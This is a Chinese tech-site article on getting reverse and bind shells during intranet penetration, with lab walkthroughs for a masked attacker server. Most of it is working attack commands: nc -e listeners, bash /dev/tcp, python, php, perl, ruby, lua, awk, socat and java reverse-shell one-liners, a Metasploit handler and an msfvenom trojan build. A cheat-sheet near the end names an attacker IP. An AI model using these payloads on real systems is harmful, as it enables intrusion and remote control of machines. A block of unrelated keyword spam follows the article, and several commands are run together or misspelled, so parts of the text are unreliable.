千家信息网

内网渗透中反弹shell的示例分析

发表于:2024-11-21 作者:千家信息网编辑
千家信息网最后更新 2024年11月21日,这篇文章将为大家详细讲解有关内网渗透中反弹shell的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。声明:文章技术仅供网络安全技术人员及白帽子使用,任何个人
千家信息网最后更新 2024年11月21日内网渗透中反弹shell的示例分析

这篇文章将为大家详细讲解有关内网渗透中反弹shell的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

声明:文章技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可用于
违法犯罪,一经发现直接上报国家安全机关处理。

反弹shell

反弹shell:
在攻击者机器获得受害者机器的命令行。

背景:

对内网有更深入的理解,了解内网的组织结构,为了更好的进行内网渗透。

正向反弹shell:

目的:

利用nc正向连接目标服务器的shell,获得目标服务器的控制权限(dmz大型靶场)

前提:

攻击者可以访问(连接)web服务器的目标(开放)端口,web服务器防火墙未拦截攻击者的入站流量。适用于,能够访问到被控机器的开放端口。

实验环境:

物理机(攻击机):

目标服务器(公网windows):***.***.88.201:6666

网络拓扑:

实验步骤:

步骤一:

主动连接被控主机shell,在被控主机上使用nc监听6666端口,成功反弹shell后就控制目标服务器的cmd.exe程序(只要连接到目标服务器的6666端口,就会执行cmd.exe),结果如下图所示:

命令:

#被控主机为Windows,使用以下命令:nc.exe -lvp 4444 -e cdm.exe#被控主机为linux,使用以下命令:nc -lvp 4444 -e /bin/bash

下图为被控主机:

步骤二:

攻击机连接目标服务器的6666端口,结果如下图所示:

命令:

#攻击者:#nc -vv 被控服务器ip 4444nc -vv ***.***.88.201 6666

下图是攻击者主机:

反向反弹shell:

目的:

利用nc反向反弹shell到攻击者本地,获得目标服务器的控制权限(dmz大型靶场)

前提:

1、防火墙对web服务器(被控主机)出站流量放行。

2、攻击者必须有一个公网ip。

实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控机器(公网windows):

网络拓扑:

实验步骤:

步骤一:

攻击者外网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:
命令:

#攻击机器(公网kali):***.***.23.106:9999nc -lvvp 9999

下图为公网kali:

步骤二:

把被控主机的shell反弹到攻击者kali9999端口,如下图所示:

命令:

#nc -e /bin/bash 攻击者公网ip 9999 (反弹linux shell) #nc -e cmd.exe 攻击者公网ip 9999(反弹windows shell)

下图为被控主机:

步骤二:

查看kali,显示成功反弹目标服务器的shell,如下图所示:

分析:

能够反弹成功,需要攻击者开启公网kali的监听端口,并让防火墙对经过9999端口的流量进行放行;

被攻击者需要有攻击者的公网ip,并且被攻击者的流量能够出来。

其他方式反弹shell:

msf反弹:
实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控主机(虚拟机win8):

实验步骤:

步骤一:

攻击者公网vps监听9999端口:
攻击者在公网kali(公网ip)使用msf的msfconsole进行监听9999端口的木马反弹,结果如下图所示:

命令:

#攻击机器(公网kali):***.***.23.106:9999msfconsole use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost ***.***.23.106:9999set lport 9999


步骤三:

生成一个反弹木马,并将生成的木马上传到被控主机(虚拟机win8)上,并进行点击运行,使被控主机反弹shellkali(公网ip)9999端口,如下图所示:

命令:

#使用msfvenom生成反弹木马:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=***.***.23.106:9999lport=9999 -f exe -o test.exe#这里是使用finalshell远程连接公网kali的,所以使用sz命令下载刚才生成的木马到物理机:sz test.exe#下面就是把下载下来的木马文件放到被控主机(虚拟机win8)。

步骤三:

被控主机(虚拟机win8)上,点击运行test.exe(这个木马文件),并进行查看公网kali反弹情况,如下图所示:

bash反弹:
实验环境:

攻击机器(公网kali):..23.106:9999

被控机器(虚拟机centos6.5):

实验步骤:
接收端(攻击者ip,公网): nc -lvvp 端口发送端(被控主机):bash -i >& /dev/tcp/攻击者ip(公网)/攻击者端口 0>&1发送端(被控主机):0<&31-;exec 31<>/dev/tcp/攻击者ip(公网)/攻击者端口; sh <&31 >&31 2>&31

步骤一:

为了保证环境的贴近实战,保持防火墙开启状态。(反弹shell有正向和反向的,我们90%都是反向反弹的shell。

正常情况下,攻击者是无法正向连接目标服务器的;除了开启22端口,通过ssh可以连接进来的,但是ssh我们不知道帐号密码;我们最主要的目的是获取目标主机的反向shell,所以防火墙可以不用关闭)。只关闭setenforce(setlinux),并查看防火墙状态,如下图所示:

命令:

#关闭setlinuxsetenforce 0#查看防火墙状态:service iptables status

步骤二:

攻击者外网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:

命令:

#攻击机器(公网kali):***.***.23.106:9999nc -lvvp 9999


命令:

bash -i >& /dev/tcp/***.***.23.106/9999 0>&1

步骤三:

被控机器(虚拟机centos6.5)上,使用bashshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:

python反弹:
实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控机器(虚拟机centos6.5):

实验步骤:
接收端(攻击者ip,公网): nc -lvvp 端口发送端(被控主机):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者公网ip",攻击者公网监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

步骤一:

攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:

命令:

#攻击机器(公网kali):***.***.23.106:9999nc -lvvp 9999

步骤二:

被控机器(虚拟机centos6.5)上,使用pythonshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:

命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("***.***.23.106",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'


php反弹:
实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控机器(虚拟机centos6.5):

实验步骤:
接收端(攻击者ip,公网): nc -lvvp端口发送端(被控主机):bash -i >& /dev/tcp/攻击者ip(公网)/攻击者端口 0>&1发送端(被控主机):php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'

步骤一:

攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)的9999端口:

命令:

#攻击机器(公网kali):***.***.23.106:9999nc -lvvp 9999

步骤二:

被控机器(虚拟机centos6.5)上,使用phpshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况:
命令:

php -r '$sock=fsockopen("***.***.23.106",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
perl反弹:
实验环境:

攻击机器(公网kali):***.***.23.106:9999

被控机器(虚拟机centos6.5):

实验步骤:
接收端(攻击者ip,公网): nc -lvvp端口发送端:perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

步骤一:

攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:

命令:

#攻击机器(公网kali):***.***.23.106:9999nc -lvvp 9999


步骤三:

被控机器(虚拟机centos6.5)上,使用bashshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:

命令:

perl -e 'use Socket;$i="***.***.23.106";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'


linux反弹shell姿势合集:

在目标服务器(linux)上面进行反弹shell时,可以通过以下命令,查看目标服务器上面有没有安装对应的程序:
命令:

#比如查看目标服务器上面有没有安装php服务:rpm -q php

linux反弹shell总结1\.1发送文件\(公网发内网\)文件发送端:nc \-lp 6666 < 文件文件接收端:nc 发送端ip 发送端端口 \> 新文件1\.2发送文件\(内网发公网\)文件发送端:nc \-lp 6666 \> 文件文件接收端:nc 发送端ip 发送端端口 < 新文件2\.聊天发送端:nc \-lp 6666接收端:nc 发送端ip 发送端端口3\.1发送shell发送端\(公网服务器\):nc \-lvvp 6666 \-e /bin/bash接收端:nc 发送端ip 发送端攻击者ip3\.2反弹shell接收端:nc \-lvvp 6666发送端\(内网网服务器\):nc 接收端ip 接收端端口 \-e /bin/bash4\.bash反弹接收端\(hackip\,公网\):nc \-lvvp 端口发送端\(受害者\):bash \-i \>& /dev/tcp/111\.230\.170\.95/9985 0\>&1发送端\(受害者\):0<&31\-;exec 31<\>/dev/tcp/111\.230\.170\.95/9985;sh <&31 \>&31 2\>&315\.1socat反弹\(tcp\)接收端\(攻击机\):\./socat TCP\-LISTEN:端口 \-发送端\(靶机\):\./socat exec:'bash \-li'\,pty\,stderr\,setsid\,sigint\,sane tcp:攻击机ip:攻击机端口5\.2socat反弹\(udp\)接收端:nc \-lvvp 8080发送端:socat udp\-connect:攻击者ip:端口 exec:'bash \-li'\,pty\,stderr\,sane 2\>&1\>/dev/null &6\.python反弹接收端\(攻击机\,外网\):nc \-lvvp 端口发送端\(靶机\):python \-c 'import socket\,subprocess\,os;s=socket\.socket\(socket\.AF\_INET\,socket\.SOCK\_STREAM\);s\.connect\(\("接收端ip"\,接收端端口\)\);os\.dup2\(s\.fileno\(\)\,0\); os\.dup2\(s\.fileno\(\)\,1\); os\.dup2\(s\.fileno\(\)\,2\);p=subprocess\.call\(\["/bin/sh"\,"\-i"\]\);'7\.PHP反弹接收端:nc \-lvvp 端口发送端:php \-r '$sock=fsockopen\("攻击者ip"\,端口\);exec\("/bin/sh \-i <&3 \>&3 2\>&3"\);'8\.JAVA反弹接收端:nc \-lvvp 端口发送端:r = Runtime\.getRuntime\(\)p = r\.exec\(\["/bin/bash"\,"\-c"\,"exec 5<\>/dev/tcp/攻击者ip/端口;cat <&5 \| while read line; do $line 2\>&5 \>&5; done"\] as String\[\]\)p\.waitFor\(\)9\.perl反弹接收端:nc \-lvvp 端口发送端:perl \-e 'use Socket;$i="攻击者ip";$p=8080;socket\(S\,PF\_INET\,SOCK\_STREAM\,getprotobyname\("tcp"\)\);if\(connect\(S\,sockaddr\_in\($p\,inet\_aton\($i\)\)\)\)\{open\(STDIN\,"\>&S"\);open\(STDOUT\,"\>&S"\);open\(STDERR\,"\>&S"\);exec\("/bin/sh \-i"\);\};'10\.ruby反弹接收端:nc \-lvvp 端口发送端:ruby \-rsocket \-e 'exit if fork;c=TCPSocket\.new\("攻击者ip"\,"端口"\);while\(cmd=c\.gets\);IO\.popen\(cmd\,"r"\)\{\|io\|c\.print io\.read\}end'11\.telnet反弹接收端:nc \-lvvp 端口发送端:mknod backpipe p && telnet 攻击者ip 端口 0backpipe12\.lua反弹\(安装lua环境:apt\-get install lua\*\)接收端:nc \-lvvp 端口发送端:lua \-e "local s=require\('socket'\);local t=assert\(s\.tcp\(\)\);t:connect\('攻击者ip'\,端口\);while true do local r\,x=t:receive\(\);local f=assert\(io\.popen\(r\,'r'\)\);local b=assert\(f:read\('\*a'\)\);t:send\(b\);end;f:close\(\);t:close\(\);"13\.awk反弹接收端:nc \-lvvp 端口发送端:awk 'BEGIN\{s="/inet/tcp/0/攻击者ip/端口";while\(1\)\{do\{s\|&getline c;if\(c\)\{while\(\(c\|&getline\)\>0\)print $0\|&s;close\(c\)\}\}while\(c\!="exit"\);close\(s\)\}\}'14\.ksh反弹接收端:nc \-lvvp 端口发送端:ksh \-c 'ksh \>/dev/tcp/攻击者ip/端口 2\>&1 <&1'15\.msfvenom生成各种payload接收端:nc \-lvvp 端口查找payload:msfvenom \-l payload \|grep 'cmd/unix/reverse'生成payload:msfvenom \-p cmd/unix/reverse\_模块 lhost=接收端ip lport=接收端端口 R

关于"内网渗透中反弹shell的示例分析"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

攻击 公网 端口 攻击者 主机 机器 步骤 命令 服务 服务器 监听 目标 实验 文件 环境 木马 结果 防火墙 防火 情况 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 ado数据库连接 数据库批量注释快捷键 软件开发内控合规学习心得体会 eplan怎样建立数据库 软件开发竞争对手主要劣势 终端服务器cal 风险驱动型软件开发模式 多看网络安全视频 山东济南铭云网络安全公司 网络安全十强厂商 全球各国家软件开发比例 网络安全监测预警360天眼 棋牌软件开发工程师 重返帝国五个服务器就不能建了吗 法庭说话人识别语音数据库的构建 软件开发专业职校前十排名 查询数据库中的某个表的数据 温岭市飞凌网络技术有限公司 现在主流服务器系统 网络安全环境配置的分析 凌云诺服务器更新时间 江西智慧城管软件开发 广州标准机架服务器厂家供应 北京通信软件开发推广 第五届电信网络安全技能竞赛 服务器在线时长指令 山西软件开发价格如何计算 博硕搅拌站软件开发语言 上位机软件开发平台 如何在服务器挂手机
0